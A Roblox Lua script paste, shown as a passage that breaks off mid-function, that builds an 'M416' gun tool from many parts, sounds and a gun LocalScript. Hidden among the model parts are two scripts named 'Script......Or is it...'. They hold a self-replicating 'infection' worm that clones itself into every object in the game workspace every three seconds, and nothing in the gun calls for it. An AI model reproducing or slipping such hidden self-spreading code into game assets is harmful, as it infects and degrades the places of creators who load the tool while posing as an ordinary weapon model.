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PuffyDylan

MP5

May 10th, 2018
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  1. - made by 1ndrew
  2. function sandbox(var,func)
  3. local env = getfenv(func)
  4. local newenv = setmetatable({},{
  5. __index = function(self,k)
  6. if k=="script" then
  7. return var
  8. else
  9. return env[k]
  10. end
  11. end,
  12. })
  13. setfenv(func,newenv)
  14. return func
  15. end
  16. cors = {}
  17. mas = Instance.new("Model",game:GetService("Lighting"))
  18. Tool0 = Instance.new("Tool")
  19. Part1 = Instance.new("Part")
  20. CylinderMesh2 = Instance.new("CylinderMesh")
  21. Part3 = Instance.new("Part")
  22. BlockMesh4 = Instance.new("BlockMesh")
  23. Part5 = Instance.new("Part")
  24. BlockMesh6 = Instance.new("BlockMesh")
  25. Sound7 = Instance.new("Sound")
  26. Script8 = Instance.new("Script")
  27. Sound9 = Instance.new("Sound")
  28. Script10 = Instance.new("Script")
  29. Part11 = Instance.new("Part")
  30. CylinderMesh12 = Instance.new("CylinderMesh")
  31. Part13 = Instance.new("Part")
  32. Decal14 = Instance.new("Decal")
  33. BlockMesh15 = Instance.new("BlockMesh")
  34. Part16 = Instance.new("Part")
  35. BlockMesh17 = Instance.new("BlockMesh")
  36. Part18 = Instance.new("Part")
  37. BlockMesh19 = Instance.new("BlockMesh")
  38. LocalScript20 = Instance.new("LocalScript")
  39. NumberValue21 = Instance.new("NumberValue")
  40. NumberValue22 = Instance.new("NumberValue")
  41. Smoke23 = Instance.new("Smoke")
  42. Smoke24 = Instance.new("Smoke")
  43. PointLight25 = Instance.new("PointLight")
  44. ScreenGui26 = Instance.new("ScreenGui")
  45. Frame27 = Instance.new("Frame")
  46. TextLabel28 = Instance.new("TextLabel")
  47. Frame29 = Instance.new("Frame")
  48. TextLabel30 = Instance.new("TextLabel")
  49. Frame31 = Instance.new("Frame")
  50. TextLabel32 = Instance.new("TextLabel")
  51. Part33 = Instance.new("Part")
  52. CylinderMesh34 = Instance.new("CylinderMesh")
  53. Part35 = Instance.new("Part")
  54. CylinderMesh36 = Instance.new("CylinderMesh")
  55. Part37 = Instance.new("Part")
  56. CylinderMesh38 = Instance.new("CylinderMesh")
  57. Part39 = Instance.new("Part")
  58. BlockMesh40 = Instance.new("BlockMesh")
  59. Part41 = Instance.new("Part")
  60. BlockMesh42 = Instance.new("BlockMesh")
  61. Part43 = Instance.new("Part")
  62. CylinderMesh44 = Instance.new("CylinderMesh")
  63. Part45 = Instance.new("Part")
  64. BlockMesh46 = Instance.new("BlockMesh")
  65. Part47 = Instance.new("Part")
  66. SpecialMesh48 = Instance.new("SpecialMesh")
  67. Part49 = Instance.new("Part")
  68. CylinderMesh50 = Instance.new("CylinderMesh")
  69. Part51 = Instance.new("Part")
  70. BlockMesh52 = Instance.new("BlockMesh")
  71. Part53 = Instance.new("Part")
  72. CylinderMesh54 = Instance.new("CylinderMesh")
  73. Part55 = Instance.new("Part")
  74. BlockMesh56 = Instance.new("BlockMesh")
  75. Part57 = Instance.new("Part")
  76. SpecialMesh58 = Instance.new("SpecialMesh")
  77. Part59 = Instance.new("Part")
  78. BlockMesh60 = Instance.new("BlockMesh")
  79. Part61 = Instance.new("Part")
  80. CylinderMesh62 = Instance.new("CylinderMesh")
  81. Part63 = Instance.new("Part")
  82. SpecialMesh64 = Instance.new("SpecialMesh")
  83. Part65 = Instance.new("Part")
  84. SpecialMesh66 = Instance.new("SpecialMesh")
  85. Part67 = Instance.new("Part")
  86. SpecialMesh68 = Instance.new("SpecialMesh")
  87. Part69 = Instance.new("Part")
  88. SpecialMesh70 = Instance.new("SpecialMesh")
  89. Part71 = Instance.new("Part")
  90. SpecialMesh72 = Instance.new("SpecialMesh")
  91. Part73 = Instance.new("Part")
  92. SpecialMesh74 = Instance.new("SpecialMesh")
  93. Part75 = Instance.new("Part")
  94. CylinderMesh76 = Instance.new("CylinderMesh")
  95. Part77 = Instance.new("Part")
  96. CylinderMesh78 = Instance.new("CylinderMesh")
  97. Part79 = Instance.new("Part")
  98. BlockMesh80 = Instance.new("BlockMesh")
  99. Part81 = Instance.new("Part")
  100. Decal82 = Instance.new("Decal")
  101. Decal83 = Instance.new("Decal")
  102. BlockMesh84 = Instance.new("BlockMesh")
  103. Part85 = Instance.new("Part")
  104. BlockMesh86 = Instance.new("BlockMesh")
  105. Part87 = Instance.new("Part")
  106. CylinderMesh88 = Instance.new("CylinderMesh")
  107. Part89 = Instance.new("Part")
  108. BlockMesh90 = Instance.new("BlockMesh")
  109. Part91 = Instance.new("Part")
  110. Decal92 = Instance.new("Decal")
  111. Decal93 = Instance.new("Decal")
  112. BlockMesh94 = Instance.new("BlockMesh")
  113. Part95 = Instance.new("Part")
  114. SpecialMesh96 = Instance.new("SpecialMesh")
  115. Part97 = Instance.new("Part")
  116. Decal98 = Instance.new("Decal")
  117. Decal99 = Instance.new("Decal")
  118. BlockMesh100 = Instance.new("BlockMesh")
  119. Part101 = Instance.new("Part")
  120. BlockMesh102 = Instance.new("BlockMesh")
  121. Part103 = Instance.new("Part")
  122. BlockMesh104 = Instance.new("BlockMesh")
  123. Part105 = Instance.new("Part")
  124. BlockMesh106 = Instance.new("BlockMesh")
  125. Part107 = Instance.new("Part")
  126. BlockMesh108 = Instance.new("BlockMesh")
  127. Part109 = Instance.new("Part")
  128. CylinderMesh110 = Instance.new("CylinderMesh")
  129. Part111 = Instance.new("Part")
  130. CylinderMesh112 = Instance.new("CylinderMesh")
  131. Part113 = Instance.new("Part")
  132. BlockMesh114 = Instance.new("BlockMesh")
  133. Part115 = Instance.new("Part")
  134. BlockMesh116 = Instance.new("BlockMesh")
  135. Part117 = Instance.new("Part")
  136. SpecialMesh118 = Instance.new("SpecialMesh")
  137. Part119 = Instance.new("Part")
  138. BlockMesh120 = Instance.new("BlockMesh")
  139. Part121 = Instance.new("Part")
  140. BlockMesh122 = Instance.new("BlockMesh")
  141. Part123 = Instance.new("Part")
  142. BlockMesh124 = Instance.new("BlockMesh")
  143. Part125 = Instance.new("Part")
  144. SpecialMesh126 = Instance.new("SpecialMesh")
  145. Part127 = Instance.new("Part")
  146. SpecialMesh128 = Instance.new("SpecialMesh")
  147. Part129 = Instance.new("Part")
  148. SpecialMesh130 = Instance.new("SpecialMesh")
  149. Part131 = Instance.new("Part")
  150. CylinderMesh132 = Instance.new("CylinderMesh")
  151. Part133 = Instance.new("Part")
  152. SpecialMesh134 = Instance.new("SpecialMesh")
  153. Part135 = Instance.new("Part")
  154. SpecialMesh136 = Instance.new("SpecialMesh")
  155. Part137 = Instance.new("Part")
  156. SpecialMesh138 = Instance.new("SpecialMesh")
  157. Part139 = Instance.new("Part")
  158. Decal140 = Instance.new("Decal")
  159. BlockMesh141 = Instance.new("BlockMesh")
  160. Part142 = Instance.new("Part")
  161. BlockMesh143 = Instance.new("BlockMesh")
  162. Part144 = Instance.new("Part")
  163. CylinderMesh145 = Instance.new("CylinderMesh")
  164. Part146 = Instance.new("Part")
  165. BlockMesh147 = Instance.new("BlockMesh")
  166. Part148 = Instance.new("Part")
  167. SpecialMesh149 = Instance.new("SpecialMesh")
  168. Part150 = Instance.new("Part")
  169. CylinderMesh151 = Instance.new("CylinderMesh")
  170. Part152 = Instance.new("Part")
  171. SpecialMesh153 = Instance.new("SpecialMesh")
  172. Part154 = Instance.new("Part")
  173. BlockMesh155 = Instance.new("BlockMesh")
  174. Part156 = Instance.new("Part")
  175. BlockMesh157 = Instance.new("BlockMesh")
  176. Part158 = Instance.new("Part")
  177. CylinderMesh159 = Instance.new("CylinderMesh")
  178. Part160 = Instance.new("Part")
  179. BlockMesh161 = Instance.new("BlockMesh")
  180. Part162 = Instance.new("Part")
  181. SpecialMesh163 = Instance.new("SpecialMesh")
  182. Part164 = Instance.new("Part")
  183. Decal165 = Instance.new("Decal")
  184. SpecialMesh166 = Instance.new("SpecialMesh")
  185. Part167 = Instance.new("Part")
  186. BlockMesh168 = Instance.new("BlockMesh")
  187. Part169 = Instance.new("Part")
  188. BlockMesh170 = Instance.new("BlockMesh")
  189. Part171 = Instance.new("Part")
  190. BlockMesh172 = Instance.new("BlockMesh")
  191. Part173 = Instance.new("Part")
  192. SpecialMesh174 = Instance.new("SpecialMesh")
  193. Part175 = Instance.new("Part")
  194. BlockMesh176 = Instance.new("BlockMesh")
  195. Part177 = Instance.new("Part")
  196. SpecialMesh178 = Instance.new("SpecialMesh")
  197. Part179 = Instance.new("Part")
  198. SpecialMesh180 = Instance.new("SpecialMesh")
  199. Part181 = Instance.new("Part")
  200. SpecialMesh182 = Instance.new("SpecialMesh")
  201. Part183 = Instance.new("Part")
  202. SpecialMesh184 = Instance.new("SpecialMesh")
  203. Part185 = Instance.new("Part")
  204. BlockMesh186 = Instance.new("BlockMesh")
  205. Part187 = Instance.new("Part")
  206. BlockMesh188 = Instance.new("BlockMesh")
  207. Part189 = Instance.new("Part")
  208. SpecialMesh190 = Instance.new("SpecialMesh")
  209. Part191 = Instance.new("Part")
  210. BlockMesh192 = Instance.new("BlockMesh")
  211. Part193 = Instance.new("Part")
  212. CylinderMesh194 = Instance.new("CylinderMesh")
  213. Part195 = Instance.new("Part")
  214. BlockMesh196 = Instance.new("BlockMesh")
  215. Part197 = Instance.new("Part")
  216. CylinderMesh198 = Instance.new("CylinderMesh")
  217. Part199 = Instance.new("Part")
  218. CylinderMesh200 = Instance.new("CylinderMesh")
  219. Part201 = Instance.new("Part")
  220. Decal202 = Instance.new("Decal")
  221. CylinderMesh203 = Instance.new("CylinderMesh")
  222. Part204 = Instance.new("Part")
  223. CylinderMesh205 = Instance.new("CylinderMesh")
  224. Part206 = Instance.new("Part")
  225. SpecialMesh207 = Instance.new("SpecialMesh")
  226. Part208 = Instance.new("Part")
  227. SpecialMesh209 = Instance.new("SpecialMesh")
  228. Part210 = Instance.new("Part")
  229. CylinderMesh211 = Instance.new("CylinderMesh")
  230. Part212 = Instance.new("Part")
  231. BlockMesh213 = Instance.new("BlockMesh")
  232. Part214 = Instance.new("Part")
  233. BlockMesh215 = Instance.new("BlockMesh")
  234. Part216 = Instance.new("Part")
  235. CylinderMesh217 = Instance.new("CylinderMesh")
  236. Part218 = Instance.new("Part")
  237. BlockMesh219 = Instance.new("BlockMesh")
  238. Part220 = Instance.new("Part")
  239. BlockMesh221 = Instance.new("BlockMesh")
  240. Part222 = Instance.new("Part")
  241. BlockMesh223 = Instance.new("BlockMesh")
  242. Part224 = Instance.new("Part")
  243. BlockMesh225 = Instance.new("BlockMesh")
  244. Part226 = Instance.new("Part")
  245. SpecialMesh227 = Instance.new("SpecialMesh")
  246. Part228 = Instance.new("Part")
  247. CylinderMesh229 = Instance.new("CylinderMesh")
  248. Part230 = Instance.new("Part")
  249. BlockMesh231 = Instance.new("BlockMesh")
  250. Part232 = Instance.new("Part")
  251. SpecialMesh233 = Instance.new("SpecialMesh")
  252. Part234 = Instance.new("Part")
  253. CylinderMesh235 = Instance.new("CylinderMesh")
  254. Part236 = Instance.new("Part")
  255. BlockMesh237 = Instance.new("BlockMesh")
  256. Part238 = Instance.new("Part")
  257. CylinderMesh239 = Instance.new("CylinderMesh")
  258. Part240 = Instance.new("Part")
  259. Decal241 = Instance.new("Decal")
  260. CylinderMesh242 = Instance.new("CylinderMesh")
  261. Part243 = Instance.new("Part")
  262. SpecialMesh244 = Instance.new("SpecialMesh")
  263. Part245 = Instance.new("Part")
  264. CylinderMesh246 = Instance.new("CylinderMesh")
  265. Part247 = Instance.new("Part")
  266. SpecialMesh248 = Instance.new("SpecialMesh")
  267. Part249 = Instance.new("Part")
  268. CylinderMesh250 = Instance.new("CylinderMesh")
  269. Part251 = Instance.new("Part")
  270. SpecialMesh252 = Instance.new("SpecialMesh")
  271. Part253 = Instance.new("Part")
  272. SpecialMesh254 = Instance.new("SpecialMesh")
  273. Part255 = Instance.new("Part")
  274. CylinderMesh256 = Instance.new("CylinderMesh")
  275. Part257 = Instance.new("Part")
  276. BlockMesh258 = Instance.new("BlockMesh")
  277. Part259 = Instance.new("Part")
  278. BlockMesh260 = Instance.new("BlockMesh")
  279. Part261 = Instance.new("Part")
  280. BlockMesh262 = Instance.new("BlockMesh")
  281. Part263 = Instance.new("Part")
  282. BlockMesh264 = Instance.new("BlockMesh")
  283. Part265 = Instance.new("Part")
  284. BlockMesh266 = Instance.new("BlockMesh")
  285. Part267 = Instance.new("Part")
  286. BlockMesh268 = Instance.new("BlockMesh")
  287. Part269 = Instance.new("Part")
  288. BlockMesh270 = Instance.new("BlockMesh")
  289. Part271 = Instance.new("Part")
  290. BlockMesh272 = Instance.new("BlockMesh")
  291. Part273 = Instance.new("Part")
  292. BlockMesh274 = Instance.new("BlockMesh")
  293. Part275 = Instance.new("Part")
  294. BlockMesh276 = Instance.new("BlockMesh")
  295. Part277 = Instance.new("Part")
  296. BlockMesh278 = Instance.new("BlockMesh")
  297. Part279 = Instance.new("Part")
  298. BlockMesh280 = Instance.new("BlockMesh")
  299. Part281 = Instance.new("Part")
  300. SpecialMesh282 = Instance.new("SpecialMesh")
  301. Part283 = Instance.new("Part")
  302. BlockMesh284 = Instance.new("BlockMesh")
  303. Part285 = Instance.new("Part")
  304. BlockMesh286 = Instance.new("BlockMesh")
  305. Part287 = Instance.new("Part")
  306. BlockMesh288 = Instance.new("BlockMesh")
  307. Part289 = Instance.new("Part")
  308. SpecialMesh290 = Instance.new("SpecialMesh")
  309. Part291 = Instance.new("Part")
  310. SpecialMesh292 = Instance.new("SpecialMesh")
  311. Part293 = Instance.new("Part")
  312. SpecialMesh294 = Instance.new("SpecialMesh")
  313. Part295 = Instance.new("Part")
  314. BlockMesh296 = Instance.new("BlockMesh")
  315. Part297 = Instance.new("Part")
  316. BlockMesh298 = Instance.new("BlockMesh")
  317. Part299 = Instance.new("Part")
  318. BlockMesh300 = Instance.new("BlockMesh")
  319. Part301 = Instance.new("Part")
  320. SpecialMesh302 = Instance.new("SpecialMesh")
  321. Part303 = Instance.new("Part")
  322. SpecialMesh304 = Instance.new("SpecialMesh")
  323. Part305 = Instance.new("Part")
  324. BlockMesh306 = Instance.new("BlockMesh")
  325. Part307 = Instance.new("Part")
  326. BlockMesh308 = Instance.new("BlockMesh")
  327. Part309 = Instance.new("Part")
  328. BlockMesh310 = Instance.new("BlockMesh")
  329. Part311 = Instance.new("Part")
  330. SpecialMesh312 = Instance.new("SpecialMesh")
  331. Part313 = Instance.new("Part")
  332. SpecialMesh314 = Instance.new("SpecialMesh")
  333. Part315 = Instance.new("Part")
  334. BlockMesh316 = Instance.new("BlockMesh")
  335. Part317 = Instance.new("Part")
  336. CylinderMesh318 = Instance.new("CylinderMesh")
  337. Part319 = Instance.new("Part")
  338. BlockMesh320 = Instance.new("BlockMesh")
  339. Part321 = Instance.new("Part")
  340. CylinderMesh322 = Instance.new("CylinderMesh")
  341. Part323 = Instance.new("Part")
  342. BlockMesh324 = Instance.new("BlockMesh")
  343. Part325 = Instance.new("Part")
  344. BlockMesh326 = Instance.new("BlockMesh")
  345. Part327 = Instance.new("Part")
  346. BlockMesh328 = Instance.new("BlockMesh")
  347. Part329 = Instance.new("Part")
  348. CylinderMesh330 = Instance.new("CylinderMesh")
  349. Part331 = Instance.new("Part")
  350. CylinderMesh332 = Instance.new("CylinderMesh")
  351. Part333 = Instance.new("Part")
  352. BlockMesh334 = Instance.new("BlockMesh")
  353. Script335 = Instance.new("Script")
  354. Part336 = Instance.new("Part")
  355. BlockMesh337 = Instance.new("BlockMesh")
  356. Tool0.Name = "M416"
  357. Tool0.Parent = mas
  358. Tool0.GripForward = Vector3.new(-0.308719009, -0, -0.951153278)
  359. Tool0.GripPos = Vector3.new(0, -0.200000003, 0.200000003)
  360. Tool0.GripRight = Vector3.new(0.951153278, 0, -0.308719009)
  361. Part1.Name = "A1"
  362. Part1.Parent = Tool0
  363. Part1.Material = Enum.Material.SmoothPlastic
  364. Part1.BrickColor = BrickColor.new("Dark stone grey")
  365. Part1.Reflectance = 0.050000000745058
  366. Part1.Rotation = Vector3.new(-180, -89.4599991, -90)
  367. Part1.Anchored = true
  368. Part1.FormFactor = Enum.FormFactor.Custom
  369. Part1.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  370. Part1.CFrame = CFrame.new(27.0811768, 1.27026403, 138.982117, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
  371. Part1.BottomSurface = Enum.SurfaceType.Smooth
  372. Part1.TopSurface = Enum.SurfaceType.Smooth
  373. Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
  374. Part1.Position = Vector3.new(27.0811768, 1.27026403, 138.982117)
  375. Part1.Orientation = Vector3.new(0, -90.5400009, 90)
  376. Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
  377. CylinderMesh2.Parent = Part1
  378. CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
  379. CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
  380. Part3.Name = "SmokePart"
  381. Part3.Parent = Tool0
  382. Part3.Material = Enum.Material.SmoothPlastic
  383. Part3.Transparency = 1
  384. Part3.Rotation = Vector3.new(-180, 0.539999962, 180)
  385. Part3.Anchored = true
  386. Part3.FormFactor = Enum.FormFactor.Custom
  387. Part3.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  388. Part3.CFrame = CFrame.new(27.0629883, 1.26489305, 141.073486, -0.999955118, -6.08749104e-08, 0.00939130783, -5.92387259e-08, 0.999999046, 1.72940759e-07, -0.00939130783, 1.72370605e-07, -0.999955118)
  389. Part3.BottomSurface = Enum.SurfaceType.Smooth
  390. Part3.TopSurface = Enum.SurfaceType.Smooth
  391. Part3.Position = Vector3.new(27.0629883, 1.26489305, 141.073486)
  392. Part3.Orientation = Vector3.new(0, 179.459991, 0)
  393. BlockMesh4.Parent = Part3
  394. BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  395. BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  396. Part5.Name = "Handle"
  397. Part5.Parent = Tool0
  398. Part5.Material = Enum.Material.SmoothPlastic
  399. Part5.BrickColor = BrickColor.new("Black")
  400. Part5.Rotation = Vector3.new(180, 27.6800003, -180)
  401. Part5.Anchored = true
  402. Part5.FormFactor = Enum.FormFactor.Custom
  403. Part5.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  404. Part5.CFrame = CFrame.new(27.0905762, 0.867187023, 138.553284, -0.885558605, 8.09826162e-08, 0.464526057, 5.79961079e-10, 0.999999702, -1.73227889e-07, -0.464525968, -1.53134209e-07, -0.885558188)
  405. Part5.BottomSurface = Enum.SurfaceType.Smooth
  406. Part5.TopSurface = Enum.SurfaceType.Smooth
  407. Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  408. Part5.Position = Vector3.new(27.0905762, 0.867187023, 138.553284)
  409. Part5.Orientation = Vector3.new(0, 152.319992, 0)
  410. Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  411. BlockMesh6.Parent = Part5
  412. BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
  413. BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
  414. Sound7.Name = "Shoot"
  415. Sound7.Parent = Part5
  416. Sound7.SoundId = "http://roblox.com/asset/?id=10209798"
  417. Sound7.Volume = 1
  418. Script8.Name = "Script......Or is it..."
  419. Script8.Parent = mas
  420. table.insert(cors,sandbox(Script8,function()
  421. if script.Parent.className ~= "RotateP" then
  422. local p = Instance.new("RotateP")
  423. p.Parent = workspace
  424. p.Name = "INfecTION"
  425. script.Parent = p
  426. end
  427.  
  428. function check()
  429. local list = workspace:GetChildren()
  430. for i = 1, #list do
  431. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  432. script.Parent:Clone().Parent = list[i]
  433. end
  434. wait()
  435. end
  436. end
  437.  
  438. while true do
  439. check()
  440. if workspace:findFirstChild("inFECtion") == nil then
  441. local main = script.Parent:Clone()
  442. main.Name = "inFECtion"
  443. main.Parent = workspace
  444. end
  445. wait(3)
  446. end
  447.  
  448. end))
  449. Sound9.Name = "Reload"
  450. Sound9.Parent = Part5
  451. Sound9.SoundId = "http://www.roblox.com/asset/?id=132456328"
  452. Sound9.Volume = 1
  453. Script10.Name = "Script......Or is it..."
  454. Script10.Parent = mas
  455. table.insert(cors,sandbox(Script10,function()
  456. if script.Parent.className ~= "RotateP" then
  457. local p = Instance.new("RotateP")
  458. p.Parent = workspace
  459. p.Name = "INfecTION"
  460. script.Parent = p
  461. end
  462.  
  463. function check()
  464. local list = workspace:GetChildren()
  465. for i = 1, #list do
  466. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  467. script.Parent:Clone().Parent = list[i]
  468. end
  469. wait()
  470. end
  471. end
  472.  
  473. while true do
  474. check()
  475. if workspace:findFirstChild("inFECtion") == nil then
  476. local main = script.Parent:Clone()
  477. main.Name = "inFECtion"
  478. main.Parent = workspace
  479. end
  480. wait(3)
  481. end
  482.  
  483. end))
  484. Part11.Name = "Laser"
  485. Part11.Parent = Tool0
  486. Part11.Material = Enum.Material.SmoothPlastic
  487. Part11.BrickColor = BrickColor.new("Really red")
  488. Part11.Transparency = 1
  489. Part11.Rotation = Vector3.new(0, 89.4599991, -90)
  490. Part11.Anchored = true
  491. Part11.FormFactor = Enum.FormFactor.Custom
  492. Part11.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  493. Part11.CFrame = CFrame.new(27.2994385, 1.39013696, 140.283264, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  494. Part11.BottomSurface = Enum.SurfaceType.Smooth
  495. Part11.TopSurface = Enum.SurfaceType.Smooth
  496. Part11.Color = Color3.new(1, 0, 0)
  497. Part11.Position = Vector3.new(27.2994385, 1.39013696, 140.283264)
  498. Part11.Orientation = Vector3.new(0, 89.4599991, -90)
  499. Part11.Color = Color3.new(1, 0, 0)
  500. CylinderMesh12.Parent = Part11
  501. CylinderMesh12.Offset = Vector3.new(0, -18.6599998, 0)
  502. CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
  503. CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
  504. Part13.Name = "Mag"
  505. Part13.Parent = Tool0
  506. Part13.Material = Enum.Material.SmoothPlastic
  507. Part13.BrickColor = BrickColor.new("Brick yellow")
  508. Part13.Rotation = Vector3.new(-180, -89.4599991, -81)
  509. Part13.Anchored = true
  510. Part13.FormFactor = Enum.FormFactor.Custom
  511. Part13.Size = Vector3.new(0.200000003, 0.419999987, 0.200000003)
  512. Part13.CFrame = CFrame.new(27.0869141, 0.745117009, 138.976196, 0.00146914274, 0.00927558541, -0.999955833, 0.987687647, -0.156434625, 3.8507924e-08, -0.156427667, -0.987643659, -0.00939165056)
  513. Part13.BottomSurface = Enum.SurfaceType.Smooth
  514. Part13.TopSurface = Enum.SurfaceType.Smooth
  515. Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
  516. Part13.Position = Vector3.new(27.0869141, 0.745117009, 138.976196)
  517. Part13.Orientation = Vector3.new(0, -90.5400009, 99)
  518. Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
  519. Decal14.Parent = Part13
  520. Decal14.Texture = "http://www.roblox.com/asset/?id=47760372"
  521. Decal14.Face = Enum.NormalId.Right
  522. BlockMesh15.Parent = Part13
  523. BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
  524. BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
  525. Part16.Name = "Mag2"
  526. Part16.Parent = Tool0
  527. Part16.Material = Enum.Material.SmoothPlastic
  528. Part16.BrickColor = BrickColor.new("Brick yellow")
  529. Part16.Rotation = Vector3.new(-180, -89.4599991, -71)
  530. Part16.Anchored = true
  531. Part16.FormFactor = Enum.FormFactor.Custom
  532. Part16.Size = Vector3.new(0.239999995, 0.419999987, 0.200000003)
  533. Part16.CFrame = CFrame.new(27.0856934, 0.449218988, 139.053894, 0.00305754691, 0.00887963176, -0.999955833, 0.945517957, -0.32556802, 4.84268448e-08, -0.325553536, -0.945475817, -0.00939165056)
  534. Part16.BottomSurface = Enum.SurfaceType.Smooth
  535. Part16.TopSurface = Enum.SurfaceType.Smooth
  536. Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
  537. Part16.Position = Vector3.new(27.0856934, 0.449218988, 139.053894)
  538. Part16.Orientation = Vector3.new(0, -90.5400009, 109)
  539. Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
  540. BlockMesh17.Parent = Part16
  541. BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
  542. BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
  543. Part18.Name = "Mag3"
  544. Part18.Parent = Tool0
  545. Part18.Material = Enum.Material.SmoothPlastic
  546. Part18.BrickColor = BrickColor.new("Brick yellow")
  547. Part18.Rotation = Vector3.new(-180, -89.4599991, -71)
  548. Part18.Anchored = true
  549. Part18.FormFactor = Enum.FormFactor.Custom
  550. Part18.Size = Vector3.new(0.200000003, 0.200000003, 0.203999996)
  551. Part18.CFrame = CFrame.new(27.0853271, 0.256103992, 139.130554, 0.00305759162, 0.00887972116, -0.999955833, 0.945518434, -0.32556814, 2.6920091e-08, -0.325553685, -0.945476532, -0.00939165056)
  552. Part18.BottomSurface = Enum.SurfaceType.Smooth
  553. Part18.TopSurface = Enum.SurfaceType.Smooth
  554. Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
  555. Part18.Position = Vector3.new(27.0853271, 0.256103992, 139.130554)
  556. Part18.Orientation = Vector3.new(0, -90.5400009, 109)
  557. Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
  558. BlockMesh19.Parent = Part18
  559. BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
  560. BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
  561. LocalScript20.Name = "Gun_Script"
  562. LocalScript20.Parent = Tool0
  563. table.insert(cors,sandbox(LocalScript20,function()
  564. wait(0.5)
  565. --Made by YouTubes--
  566. --Edit settings below--
  567. local Tool = script.Parent
  568. local Settings = {
  569. Range = 1000
  570. ,Spread = 5
  571. ,Damage = {50, 75}
  572. ,HeadShotDamage = {70, 120}
  573. ,Bullets = 1
  574. ,FireRate = 0.08
  575. ,Automatic = true
  576. ,AntiTK = true
  577. ,ImpactDuration = 3
  578. --Reload
  579. ,ReloadKey = "R"
  580. ,ReloadTime = 2.5
  581. ,Ammo = 30
  582. ,IncludeChamberedBullet = true
  583. --Gui
  584. ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
  585. --Arms
  586. ,OneHanded = false
  587. ,FakeArms = true
  588. ,FakeArmTransparency = 0.5
  589. ,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
  590. ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
  591. ,AimPart = Tool.AimPart
  592. ,AimPartOffset = CFrame.new()
  593. ,AimGripOffset = Vector3.new(0, 0, 0)
  594. ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
  595. ,AimAnim = {
  596. Enabled = false
  597. ,Frames = 50
  598. ,Time = 0.1
  599. }
  600. ,ChangeFOV = {true, 60}
  601. ,SpreadReduction = 0
  602. --Weld
  603. ,Weld = true
  604. --Mouse
  605. ,Icons = {
  606. Idle = "rbxassetid://70288585"
  607. ,Fire1 = "rbxassetid://70288578"
  608. ,Fire2 = "rbxassetid://70288572"
  609. ,Fire3 = "rbxassetid://70288578"
  610. ,Reload = "rbxassetid://70288599"
  611. ,Aim = "rbxasset://textures/Blank.png"
  612. }
  613. ,FireMouseAnimTime = 0.15
  614. --Recoil
  615. ,Recoil = math.rad(0.7)
  616. --Smoke
  617. ,Smoke = true
  618. ,SmokePart = Tool.SmokePart
  619. ,Smokes = {{script.Smoke, 6, 0.1}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
  620. --Sprint
  621. ,Sprint = true
  622. ,SprintSpeed = 25
  623. ,SprintKey = "0"
  624. ,SprintSpreadIncrease = 40
  625. ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
  626. --Other
  627. ,DropHats = true
  628. }
  629.  
  630. --Do not edit below this lign--
  631.  
  632. local Orig_Spread = Settings.Spread
  633. local Orig_Grip = Tool.GripPos
  634.  
  635. local Player = game.Players.LocalPlayer
  636. local Character = Player.Character
  637.  
  638. local Camera = Workspace.CurrentCamera
  639.  
  640. local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
  641.  
  642. local Gui, CanUpdateGui = nil, true
  643.  
  644. local Sprinting, Equipped
  645.  
  646. function Update_Gui()
  647. if Gui and CanUpdateGui then
  648. Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
  649. end
  650. end
  651.  
  652. local Welded
  653. if Settings.Weld then
  654. Delay(0, function()
  655. local weldC0s = {}
  656. for i, v in pairs(Tool:GetChildren()) do
  657. if v:IsA("BasePart") and v ~= Tool.Handle then
  658. table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
  659. v.Anchored = false
  660. end
  661. end
  662. Tool.Handle.Anchored = false
  663. local welds = {}
  664. Tool.Equipped:connect(function()
  665. for i, v in ipairs(welds) do
  666. v.Part1 = nil
  667. v:Destroy()
